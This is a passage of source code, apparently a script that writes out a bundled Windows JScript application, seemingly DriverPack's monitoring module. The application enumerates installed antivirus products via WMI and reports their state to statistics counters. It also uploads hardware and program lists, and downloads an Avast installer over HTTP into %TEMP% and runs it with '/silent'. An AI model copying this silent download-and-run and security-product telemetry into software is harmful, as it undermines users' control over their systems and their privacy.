on\\\\Uninstall\\\\\");");
file.WriteLine(" } catch (e) {");
file.WriteLine("
_system.WshShell.RegWrite(\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVers
ion\\\\Uninstall\\\\\", \"\");");
file.WriteLine(" }");
file.WriteLine(" }, exports.updateApplicationFiles = function() {");
file.WriteLine(" var newApp = _paths.AppPath + \"\\\\\" +
_config.application.AppExecutable;");
file.WriteLine(" if (!_system.fso.FileExists(newApp)) (0, _fso.copyFiles)
(_paths.AppPathRoot, _paths.AppPath, !0);");
file.WriteLine(" });");
file.WriteLine(" exports.runFromNewPlace = function(runFrom) {");
file.WriteLine(" updateApplicationFiles();");
file.WriteLine(" var newApp = _paths.AppPath + \"\\\\\" +
_config.application.AppExecutable, runKeys = \"--relaunch true\";");
file.WriteLine(" runKeys += runFrom ? \" --run \" + runFrom : \"\";");
file.WriteLine(" _system.WshShell.Run('\"' + newApp + '\" ' + runKeys, 1, !
0);");
file.WriteLine(" }, exports.getInstallationDate = function() {");
file.WriteLine(" var uninstaller = _paths.AppPathRoot
+ \"\\\\Uninstall.exe\";");
file.WriteLine(" return _system.fso.GetFile(uninstaller).DateCreated;");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.getTimeFromDate = function(d) {");
file.WriteLine(" return (d.getHours() < 10 ? \"0\" : \"\") + d.getHours()
+ \":\" + (d.getMinutes() < 10 ? \"0\" : \"\") + d.getMinutes() + \":\" +
(d.getSeconds() < 10 ? \"0\" : \"\") + d.getSeconds();");
file.WriteLine(" }, exports.formatTime = function(time) {");
file.WriteLine(" var d = new Date(), timeZoneOffset =
-d.getTimezoneOffset();");
file.WriteLine(" return \"********\" + time.replace(/:/g, \"\")
+ \".000000\" + (timeZoneOffset < 0 ? timeZoneOffset : \"+\" + timeZoneOffset);");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.objWMIServiceSC = undefined;");
file.WriteLine(" var _wmi = __webpack_require__(2), _flags =
__webpack_require__(42);");
file.WriteLine(" exports.objWMIServiceSC =
_wmi.locator.ConnectServer(null, \"root\\\\SecurityCenter\" + (!
_flags.isOldOS ? \"2\" : \"\"));");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _asyncToGenerator(fn) {");
file.WriteLine(" return function() {");
file.WriteLine(" var gen = fn.apply(this, arguments);");
file.WriteLine(" return new Promise(function(resolve, reject) {");
file.WriteLine(" function step(key, arg) {");
file.WriteLine(" try {");
file.WriteLine(" var info = gen[key](arg), value =
info.value;");
file.WriteLine(" } catch (error) {");
file.WriteLine(" reject(error);");
file.WriteLine(" return;");
file.WriteLine(" }");
file.WriteLine(" if (info.done) resolve(value); else return
Promise.resolve(value).then(function(value) {");
file.WriteLine(" step(\"next\", value);");
file.WriteLine(" }, function(err) {");
file.WriteLine(" step(\"throw\", err);");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" return step(\"next\");");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _statistics = __webpack_require__(20), _statistics2 =
_interopRequireDefault(_statistics), _logs = __webpack_require__(17), _logs2 =
_interopRequireDefault(_logs), _wget = __webpack_require__(37), _wget2 =
_interopRequireDefault(_wget), _runCommandAsync = __webpack_require__(179),
_Notification = __webpack_require__(19), _Notification2 =
_interopRequireDefault(_Notification), _system = __webpack_require__(1), _wmi =
__webpack_require__(2), _utils = __webpack_require__(4), statisticsLabel =
_statistics2[\"default\"].drpVersion + \" antivirus notification avast\", Antivirus
= function() {");
file.WriteLine(" function Antivirus(localeData) {");
file.WriteLine(" _classCallCheck(this, Antivirus);");
file.WriteLine(" this.localeData = localeData;");
file.WriteLine(" this.scanAntiviruses =
this.memoize(this.scanAntiviruses);");
file.WriteLine(" this.isSecurityCenterServiceRunning =
this.memoize(this.isSecurityCenterServiceRunning);");
file.WriteLine(" this.statisticsIsSent = !1;");
file.WriteLine(" }");
file.WriteLine(" Antivirus.prototype.run = function() {");
file.WriteLine(" function run() {");
file.WriteLine(" return _ref.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref =
_asyncToGenerator(regeneratorRuntime.mark(function _callee() {");
file.WriteLine(" var avastInstalled;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context)
{");
file.WriteLine(" for (;;) switch (_context.prev = _context.next)
{");
file.WriteLine(" case 0:");
file.WriteLine(" if (this.isSecurityCenterServiceRunning())
{");
file.WriteLine(" _context.next = 4;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" if (!this.statisticsIsSent) {");
file.WriteLine(" _statistics2[\"default\"].event({");
file.WriteLine(" action: \"antivirus security center
stopped\",");
file.WriteLine(" label: statisticsLabel,");
file.WriteLine(" counters: {");
file.WriteLine(" yandex: !0");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" this.statisticsIsSent = !0;");
file.WriteLine(" }");
file.WriteLine(" _context.next = 19;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 4:");
file.WriteLine(" this.antiviruses =
this.scanAntiviruses();");
file.WriteLine(" _logs2[\"default\"].info(\"monitoring
antiviruses scanned\", {");
file.WriteLine(" antiviruses: this.antiviruses");
file.WriteLine(" }, \"monitoring:antiviruses:scanned\");");
file.WriteLine(" if (!this.statisticsIsSent) {");
file.WriteLine(" this.sendStatistics();");
file.WriteLine(" this.statisticsIsSent = !0;");
file.WriteLine(" }");
file.WriteLine(" if (!(this.antiviruses.length > 0)) {");
file.WriteLine(" _context.next = 17;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" avastInstalled =
this.antiviruses.find(function(antivirus) {");
file.WriteLine(" return
/avast/i.test(antivirus.displayName);");
file.WriteLine(" });");
file.WriteLine(" if (avastInstalled) {");
file.WriteLine(" _context.next = 15;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" if (1 !== this.antiviruses.length || !
this.isNotWorking(this.antiviruses[0])) {");
file.WriteLine(" _context.next = 15;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" _context.next = 13;");
file.WriteLine(" return this.showConfirm(\"notworking\");");
file.WriteLine("");
file.WriteLine(" case 13:");
file.WriteLine(" _context.next = 15;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 15:");
file.WriteLine(" _context.next = 19;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 17:");
file.WriteLine(" _context.next = 19;");
file.WriteLine(" return
this.showConfirm(\"notinstalled\");");
file.WriteLine("");
file.WriteLine(" case 19:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee, this);");
file.WriteLine(" }));");
file.WriteLine(" return run;");
file.WriteLine(" }();");
file.WriteLine(" Antivirus.prototype.sendStatistics = function() {");
file.WriteLine(" _statistics2[\"default\"].event({");
file.WriteLine(" action: \"antivirus detected count \" +
this.antiviruses.length,");
file.WriteLine(" label: statisticsLabel,");
file.WriteLine(" counters: {");
file.WriteLine(" yandex: !0");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" for (var i = 0; i < this.antiviruses.length; i++) {");
file.WriteLine(" var antivirusObj = this.antiviruses[i],
antivirusState = this.getAntivirusStatus(antivirusObj), antivirusName =
antivirusObj.displayName.toLowerCase();");
file.WriteLine(" if (antivirusState.avActive)
_statistics2[\"default\"].event({");
file.WriteLine(" action: \"antivirus detected active \" +
antivirusName,");
file.WriteLine(" label: statisticsLabel,");
file.WriteLine(" counters: {");
file.WriteLine(" yandex: !0");
file.WriteLine(" }");
file.WriteLine(" }); else _statistics2[\"default\"].event({");
file.WriteLine(" action: \"antivirus detected not active \" +
antivirusName,");
file.WriteLine(" label: statisticsLabel,");
file.WriteLine(" counters: {");
file.WriteLine(" yandex: !0");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" if (antivirusState.upToDate)
_statistics2[\"default\"].event({");
file.WriteLine(" action: \"antivirus detected uptodate \" +
antivirusName,");
file.WriteLine(" label: statisticsLabel,");
file.WriteLine(" counters: {");
file.WriteLine(" yandex: !0");
file.WriteLine(" }");
file.WriteLine(" }); else _statistics2[\"default\"].event({");
file.WriteLine(" action: \"antivirus detected not uptodate \" +
antivirusName,");
file.WriteLine(" label: statisticsLabel,");
file.WriteLine(" counters: {");
file.WriteLine(" yandex: !0");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" Antivirus.prototype.getNotificationLang = function() {");
file.WriteLine(" var _localeData = this.localeData, lang =
_localeData.lang, countryCode = _localeData.countryCode;");
file.WriteLine(" if (\"ru\" === lang || \"ru\" ===
countryCode.toLowerCase()) return \"ru\"; else if (\"pt\" === lang || \"pt\" ===
countryCode.toLowerCase() || \"br\" === countryCode.toLowerCase()) return \"pt\";
else if (\"es\" === lang || \"es\" === countryCode.toLowerCase() || \"mx\" ===
countryCode.toLowerCase() || \"pe\" === countryCode.toLowerCase() || \"ar\" ===
countryCode.toLowerCase() || \"sv\" === countryCode.toLowerCase()) return \"es\";
else if (\"de\" === lang || \"de\" === countryCode.toLowerCase() || \"ch\" ===
countryCode.toLowerCase() || \"at\" === countryCode.toLowerCase()) return \"de\";
else if (\"it\" === lang || \"it\" === countryCode.toLowerCase()) return \"it\";
else return \"en\";");
file.WriteLine(" };");
file.WriteLine(" Antivirus.prototype.showConfirm = function() {");
file.WriteLine(" function showConfirm(_x) {");
file.WriteLine(" return _ref2.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref2 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee2(problem) {");
file.WriteLine(" var _localeData2, lang, countryCode, notification,
status, params;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context2)
{");
file.WriteLine(" for (;;) switch (_context2.prev =
_context2.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" _localeData2 = this.localeData, lang =
_localeData2.lang, countryCode = _localeData2.countryCode;");
file.WriteLine(" notification = new
_Notification2[\"default\"](\"antivirus-\" + problem, {");
file.WriteLine(" lang: this.getNotificationLang()");
file.WriteLine(" });");
file.WriteLine(" if (1 === notification.get(\"counter\"))
this.sendStatistics();");
file.WriteLine(" _context2.next = 5;");
file.WriteLine(" return notification.show();");
file.WriteLine("");
file.WriteLine(" case 5:");
file.WriteLine(" status = _context2.sent;");
file.WriteLine(" if (\"notactive\" !== problem && \"ok\" ===
status) {");
file.WriteLine(" params = [ \"--antivirus\",
problem, \"--lang\", lang, \"--countryCode\", countryCode ].join(\" \");");
file.WriteLine(" _system.WshShell.Run('\"' +
_utils.AppPath + '\\\\Uninstall.exe\" ' + params, 3, !1);");
file.WriteLine(" }");
file.WriteLine("");
file.WriteLine(" case 7:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context2.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee2, this);");
file.WriteLine(" }));");
file.WriteLine(" return showConfirm;");
file.WriteLine(" }();");
file.WriteLine(" Antivirus.prototype.wrapInCmd = function(command) {");
file.WriteLine(" return 'cmd /c \"' + command + '\"';");
file.WriteLine(" };");
file.WriteLine(" Antivirus.prototype.memoize = function(func) {");
file.WriteLine(" var _this = this, cache = void 0;");
file.WriteLine(" return function() {");
file.WriteLine(" if (!cache) cache = func.call(_this);");
file.WriteLine(" return cache;");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine(" Antivirus.prototype.clearUndefVar = function(varib) {");
file.WriteLine(" try {");
file.WriteLine(" varib += \"\";");
file.WriteLine(" return
varib.replace(\"null\", \"\").replace(\"undefined\", \"\");");
file.WriteLine(" } catch (err) {");
file.WriteLine(" return \"\";");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" Antivirus.prototype.getSystemWMIScalar = function(query)
{");
file.WriteLine(" try {");
file.WriteLine(" var colItems =
_wmi.objWMIService.ExecQuery(query);");
file.WriteLine(" if (colItems.count) {");
file.WriteLine(" return new Enumerator(colItems).item();");
file.WriteLine(" }");
file.WriteLine(" } catch (err) {}");
file.WriteLine(" return null;");
file.WriteLine(" };");
file.WriteLine(" Antivirus.prototype.isSecurityCenterServiceRunning =
function() {");
file.WriteLine(" return \"Running\" === this.getSystemWMIScalar('SELECT
State, Name FROM Win32_Service WHERE Name=\"wscsvc\"').State;");
file.WriteLine(" };");
file.WriteLine(" Antivirus.prototype.scanAntiviruses = function() {");
file.WriteLine(" var _this2 = this, antivirus = [], objWMIServiceAntivir
= _wmi.locator.ConnectServer(null, \"\\\\root\\\\SecurityCenter\" + (!
_utils.isOldOS ? \"2\" : \"\")), colItems = objWMIServiceAntivir.ExecQuery(\"SELECT
* FROM AntiVirusProduct\", \"WQL\");");
file.WriteLine(" (0, _system.iterate)(colItems, function(objItem) {");
file.WriteLine(" if (\"Windows Defender\" !== objItem.displayName &&
\"Microsoft Security Essentials\" !== objItem.displayName) antivirus.push({");
file.WriteLine(" companyName:
_this2.clearUndefVar(objItem.companyName),");
file.WriteLine(" displayName:
_this2.clearUndefVar(objItem.displayName),");
file.WriteLine(" productState:
_this2.clearUndefVar(objItem.productState),");
file.WriteLine(" instanceGuid:
_this2.clearUndefVar(objItem.instanceGuid),");
file.WriteLine(" onAccessScanningEnabled:
_this2.clearUndefVar(objItem.onAccessScanningEnabled),");
file.WriteLine(" pathToSignedProductExe:
_this2.clearUndefVar(objItem.pathToSignedProductExe),");
file.WriteLine(" productHasNotifiedUser:
_this2.clearUndefVar(objItem.productHasNotifiedUser),");
file.WriteLine(" productUptoDate:
_this2.clearUndefVar(objItem.productUptoDate),");
file.WriteLine(" productWantsWscNotifications:
_this2.clearUndefVar(objItem.productWantsWscNotifications),");
file.WriteLine(" versionNumber:
_this2.clearUndefVar(objItem.versionNumber)");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" return antivirus;");
file.WriteLine(" };");
file.WriteLine(" Antivirus.prototype.hasAntiviruses = function() {");
file.WriteLine(" try {");
file.WriteLine(" return this.isSecurityCenterServiceRunning() &&
this.scanAntiviruses().length > 0;");
file.WriteLine(" } catch (err) {");
file.WriteLine(" return !0;");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" Antivirus.prototype.isNotWorking = function() {");
file.WriteLine(" var antivirusObj = arguments.length > 0 && arguments[0]
!== undefined ? arguments[0] : this.antiviruses[0], antivirusState =
this.getAntivirusStatus(antivirusObj);");
file.WriteLine(" return !antivirusState.upToDate || !
antivirusState.avActive;");
file.WriteLine(" };");
file.WriteLine(" Antivirus.prototype.getAntivirusStatus = function() {");
file.WriteLine(" var antivirusObj = arguments.length > 0 && arguments[0]
!== undefined ? arguments[0] : this.antiviruses[0];");
file.WriteLine(" if (!_utils.isOldOS) {");
file.WriteLine(" var productState =
parseInt(antivirusObj.productState, 10).toString(16), upToDateState =
productState.substring(productState.length - 2, productState.length), avActiveState
= productState.substring(productState.length - 4, productState.length - 2);");
file.WriteLine(" return {");
file.WriteLine(" upToDate: \"00\" === upToDateState,");
file.WriteLine(" avActive: \"10\" === avActiveState || \"11\"
=== avActiveState");
file.WriteLine(" };");
file.WriteLine(" } else {");
file.WriteLine(" return {");
file.WriteLine(" upToDate: \"false\" !==
antivirusObj.productUptodate,");
file.WriteLine(" avActive: \"false\" !==
antivirusObj.onAccessScanningEnabled");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" Antivirus.prototype.installAntivirus = function() {");
file.WriteLine(" function installAntivirus(_x4) {");
file.WriteLine(" return _ref3.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref3 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee3(_ref4) {");
file.WriteLine(" var link, keys, fileName, targetFolder, exePath,
events, exitCode, countryCode = (_ref4.lang, ");
file.WriteLine(" _ref4.countryCode);");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context3)
{");
file.WriteLine(" for (;;) switch (_context3.prev =
_context3.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" _context3.prev = 0;");
file.WriteLine(" _statistics2[\"default\"].event({");
file.WriteLine(" action: \"antivirus installation
started\",");
file.WriteLine(" label: statisticsLabel");
file.WriteLine(" }, [], !0);");
file.WriteLine(" link = \"ru\" === countryCode.toLowerCase()
? \"http://download.drp.su/soft/AvastAntivirusB.exe\" : \"http://download.drp.su/so
ft/AvastAntivirusWorldwideF.exe\";");
file.WriteLine(" keys = \"/silent\";");
file.WriteLine(" fileName = link.split(\"/\").slice(-1);");
file.WriteLine(" targetFolder =
_system.WshShell.ExpandEnvironmentStrings(\"%TEMP%\");");
file.WriteLine(" exePath = targetFolder + \"\\\\\" +
fileName;");
file.WriteLine(" events = {");
file.WriteLine(" beforeDownloading: function() {},");
file.WriteLine(" afterDownloading: function() {}");
file.WriteLine(" };");
file.WriteLine(" _context3.next = 10;");
file.WriteLine(" return
_wget2[\"default\"].downloadFiles(events, targetFolder, [ {");
file.WriteLine(" link: link");
file.WriteLine(" } ]);");
file.WriteLine("");
file.WriteLine(" case 10:");
file.WriteLine(" _context3.next = 12;");
file.WriteLine(" return (0,
_runCommandAsync.runCommandAsync)({");
file.WriteLine(" command: '\"' + exePath + '\" ' +
keys,");
file.WriteLine(" checkInterval: 2e3");
file.WriteLine(" });");
file.WriteLine("");
file.WriteLine(" case 12:");
file.WriteLine(" exitCode = _context3.sent;");
file.WriteLine(" 0 === exitCode ?
_statistics2[\"default\"].event({");
file.WriteLine(" action: \"antivirus installation
completed\",");
file.WriteLine(" label: statisticsLabel");
file.WriteLine(" }, [], !0) :
_statistics2[\"default\"].event({");
file.WriteLine(" action: \"antivirus installation
failed\",");
file.WriteLine(" label: statisticsLabel");
file.WriteLine(" }, [], !0);");
file.WriteLine(" _context3.next = 19;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 16:");
file.WriteLine(" _context3.prev = 16;");
file.WriteLine(" _context3.t0 = _context3[\"catch\"](0);");
file.WriteLine(" _statistics2[\"default\"].event({");
file.WriteLine(" action: \"antivirus installation
failed\",");
file.WriteLine(" label: statisticsLabel");
file.WriteLine(" }, [], !0);");
file.WriteLine("");
file.WriteLine(" case 19:");
file.WriteLine(" _context3.prev = 19;");
file.WriteLine(" setTimeout(function() {");
file.WriteLine(" window.close();");
file.WriteLine(" }, 3e3);");
file.WriteLine(" return _context3.finish(19);");
file.WriteLine("");
file.WriteLine(" case 22:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context3.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee3, this, [ [ 0, 16, 19, 22 ] ]);");
file.WriteLine(" }));");
file.WriteLine(" return installAntivirus;");
file.WriteLine(" }();");
file.WriteLine(" return Antivirus;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = Antivirus;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _asyncToGenerator(fn) {");
file.WriteLine(" return function() {");
file.WriteLine(" var gen = fn.apply(this, arguments);");
file.WriteLine(" return new Promise(function(resolve, reject) {");
file.WriteLine(" function step(key, arg) {");
file.WriteLine(" try {");
file.WriteLine(" var info = gen[key](arg), value =
info.value;");
file.WriteLine(" } catch (error) {");
file.WriteLine(" reject(error);");
file.WriteLine(" return;");
file.WriteLine(" }");
file.WriteLine(" if (info.done) resolve(value); else return
Promise.resolve(value).then(function(value) {");
file.WriteLine(" step(\"next\", value);");
file.WriteLine(" }, function(err) {");
file.WriteLine(" step(\"throw\", err);");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" return step(\"next\");");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _uniq = __webpack_require__(422), _uniq2 =
_interopRequireDefault(_uniq), _config = __webpack_require__(6), _config2 =
_interopRequireDefault(_config), _DeloreanTransport = __webpack_require__(56),
_DeloreanTransport2 = _interopRequireDefault(_DeloreanTransport), _os =
__webpack_require__(14), _system = __webpack_require__(1), _wget =
__webpack_require__(37), _wget2 = _interopRequireDefault(_wget), _getDiagnostics2 =
__webpack_require__(109), _getDiagnostics3 =
_interopRequireDefault(_getDiagnostics2), _getDrivers = __webpack_require__(242),
_getHardware = __webpack_require__(243), _getModel = __webpack_require__(244),
_utils = __webpack_require__(4), _Notification = __webpack_require__(19),
_Notification2 = _interopRequireDefault(_Notification), _config$monitoring$Dr =
_config2[\"default\"].monitoring.DriverPack, apiEndpoint =
_config$monitoring$Dr.apiEndpoint, protectThreshold =
_config$monitoring$Dr.protectThreshold, protectThresholdUseful =
_config$monitoring$Dr.protectThresholdUseful, sampling =
_config$monitoring$Dr.sampling, timeout = _config$monitoring$Dr.timeout, tries =
_config$monitoring$Dr.tries, checkProgram = function(program) {");
file.WriteLine(" if (/microsoft/i.test(program.Program)) return !1;");
file.WriteLine(" if (/microsoft/i.test(program.Publisher)) return !1;");
file.WriteLine(" if (!program.Uninstaller) return !1;");
file.WriteLine(" if (/dpinst/i.test(program.Uninstaller)) return !1; else
return !0;");
file.WriteLine(" }, driverPackFile = _utils.AppPath
+ \"\\\\temp\\\\driverpack.json\", DriverPack = function() {");
file.WriteLine(" function DriverPack() {");
file.WriteLine(" _classCallCheck(this, DriverPack);");
file.WriteLine(" }");
file.WriteLine(" DriverPack.prototype.run = function() {");
file.WriteLine(" function run(_x) {");
file.WriteLine(" return _ref.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref =
_asyncToGenerator(regeneratorRuntime.mark(function _callee(newPrograms) {");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context)
{");
file.WriteLine(" for (;;) switch (_context.prev = _context.next)
{");
file.WriteLine(" case 0:");
file.WriteLine(" if (!newPrograms) {");
file.WriteLine(" _context.next = 6;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" _context.next = 3;");
file.WriteLine(" return
this.checkNewPrograms(newPrograms);");
file.WriteLine("");
file.WriteLine(" case 3:");
file.WriteLine(" _context.t0 = _context.sent;");
file.WriteLine(" _context.next = 14;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 6:");
file.WriteLine(" _context.next = 8;");
file.WriteLine(" return this.checkDrivers();");
file.WriteLine("");
file.WriteLine(" case 8:");
file.WriteLine(" _context.t1 = _context.sent;");
file.WriteLine(" if (_context.t1) {");
file.WriteLine(" _context.next = 13;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" _context.next = 12;");
file.WriteLine(" return this.checkProtect();");
file.WriteLine("");
file.WriteLine(" case 12:");
file.WriteLine(" _context.t1 = _context.sent;");
file.WriteLine("");
file.WriteLine(" case 13:");
file.WriteLine(" _context.t0 = _context.t1;");
file.WriteLine("");
file.WriteLine(" case 14:");
file.WriteLine(" return _context.abrupt(\"return\",
_context.t0);");
file.WriteLine("");
file.WriteLine(" case 15:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee, this);");
file.WriteLine(" }));");
file.WriteLine(" return run;");
file.WriteLine(" }();");
file.WriteLine(" DriverPack.prototype.checkDrivers = function() {");
file.WriteLine(" function checkDrivers() {");
file.WriteLine(" return _ref2.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref2 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee2() {");
file.WriteLine(" var installed, query, _ref3, data, count;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context2)
{");
file.WriteLine(" for (;;) switch (_context2.prev =
_context2.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" if (this.verifyCheckCondition(\"drivers\"))
{");
file.WriteLine(" _context2.next = 2;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" return _context2.abrupt(\"return\");");
file.WriteLine("");
file.WriteLine(" case 2:");
file.WriteLine(" installed = {};");
file.WriteLine(" (0, _getDrivers.getDrivers)
().forEach(function(item) {");
file.WriteLine(" installed[item.deviceId] = item;");
file.WriteLine(" });");
file.WriteLine(" query = {");
file.WriteLine(" devices: (0, _getHardware.getHardware)
(),");
file.WriteLine(" model: (0, _getModel.getModel)(),");
file.WriteLine(" windows: {");
file.WriteLine(" ver: _os.OSVersionS,");
file.WriteLine(" arch: _os.is64 ? \"64\" : \"86\"");
file.WriteLine(" },");
file.WriteLine(" markers: [ \"hooks\" ],");
file.WriteLine(" limit: 5");
file.WriteLine(" };");
file.WriteLine(" _context2.next = 7;");
file.WriteLine(" return this.query(\"select\", query);");
file.WriteLine("");
file.WriteLine(" case 7:");
file.WriteLine(" _ref3 = _context2.sent;");
file.WriteLine(" data = _ref3.body.data;");
file.WriteLine(" count = 0;");
file.WriteLine(" data.forEach(function(_ref4) {");
file.WriteLine(" var deviceId = _ref4.deviceId, drivers
= _ref4.drivers, current = (installed[deviceId] || {}).date || \"\";");
file.WriteLine(" drivers.forEach(function(_ref5) {");
file.WriteLine(" var date = _ref5.date;");
file.WriteLine(" if (date && date > current) count+
+;");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" if (!(count > 0)) {");
file.WriteLine(" _context2.next = 15;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" _context2.next = 14;");
file.WriteLine(" return this.showNotification(\"drivers\",
{");
file.WriteLine(" count: count");
file.WriteLine(" });");
file.WriteLine("");
file.WriteLine(" case 14:");
file.WriteLine(" return _context2.abrupt(\"return\",
_context2.sent);");
file.WriteLine("");
file.WriteLine(" case 15:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context2.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee2, this);");
file.WriteLine(" }));");
file.WriteLine(" return checkDrivers;");
file.WriteLine(" }();");
file.WriteLine(" DriverPack.prototype.getNotificationLang = function() {");
file.WriteLine(" var countryCode = window.geoip &&
window.geoip.geoip_country_code || \"\", lang = window.lang;");
file.WriteLine(" if (\"ru\" === lang || \"ru\" ===
countryCode.toLowerCase()) return \"ru\"; else if (\"es\" === lang || \"es\" ===
countryCode.toLowerCase() || \"mx\" === countryCode.toLowerCase() || \"pe\" ===
countryCode.toLowerCase() || \"ar\" === countryCode.toLowerCase() || \"sv\" ===
countryCode.toLowerCase()) return \"es\"; else if (\"fr\" === lang || \"fr\" ===
countryCode.toLowerCase()) return \"fr\"; else return \"en\";");
file.WriteLine(" };");
file.WriteLine(" DriverPack.prototype.checkNewPrograms = function() {");
file.WriteLine(" function checkNewPrograms(_x2) {");
file.WriteLine(" return _ref6.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref6 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee3(newPrograms) {");
file.WriteLine(" var query, _ref7, data, driverpackData, _iterator,
_isArray, _i, _ref9, _ref10, Program, Version, imageurl, uninstallrate, usefulness,
source, lang, notification, status;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context3)
{");
file.WriteLine(" for (;;) switch (_context3.prev =
_context3.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" query = (0, _uniq2[\"default\"])
(newPrograms.filter(checkProgram), \"Uninstaller\");");
file.WriteLine(" _context3.next = 3;");
file.WriteLine(" return this.query(\"cleaner\", query);");
file.WriteLine("");
file.WriteLine(" case 3:");
file.WriteLine(" _ref7 = _context3.sent;");
file.WriteLine(" data = _ref7.body.data;");
file.WriteLine(" driverpackData = void 0;");
file.WriteLine(" _iterator = data, _isArray =
Array.isArray(_iterator), _i = 0, _iterator = _isArray ? _iterator :
_iterator[Symbol.iterator]();");
file.WriteLine("");
file.WriteLine(" case 7:");
file.WriteLine(" if (!_isArray) {");
file.WriteLine(" _context3.next = 13;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" if (!(_i >= _iterator.length)) {");
file.WriteLine(" _context3.next = 10;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" return _context3.abrupt(\"break\", 31);");
file.WriteLine("");
file.WriteLine(" case 10:");
file.WriteLine(" _ref9 = _iterator[_i++];");
file.WriteLine(" _context3.next = 17;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 13:");
file.WriteLine(" _i = _iterator.next();");
file.WriteLine(" if (!_i.done) {");
file.WriteLine(" _context3.next = 16;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" return _context3.abrupt(\"break\", 31);");
file.WriteLine("");
file.WriteLine(" case 16:");
file.WriteLine(" _ref9 = _i.value;");
file.WriteLine("");
file.WriteLine(" case 17:");
file.WriteLine(" _ref10 = _ref9;");
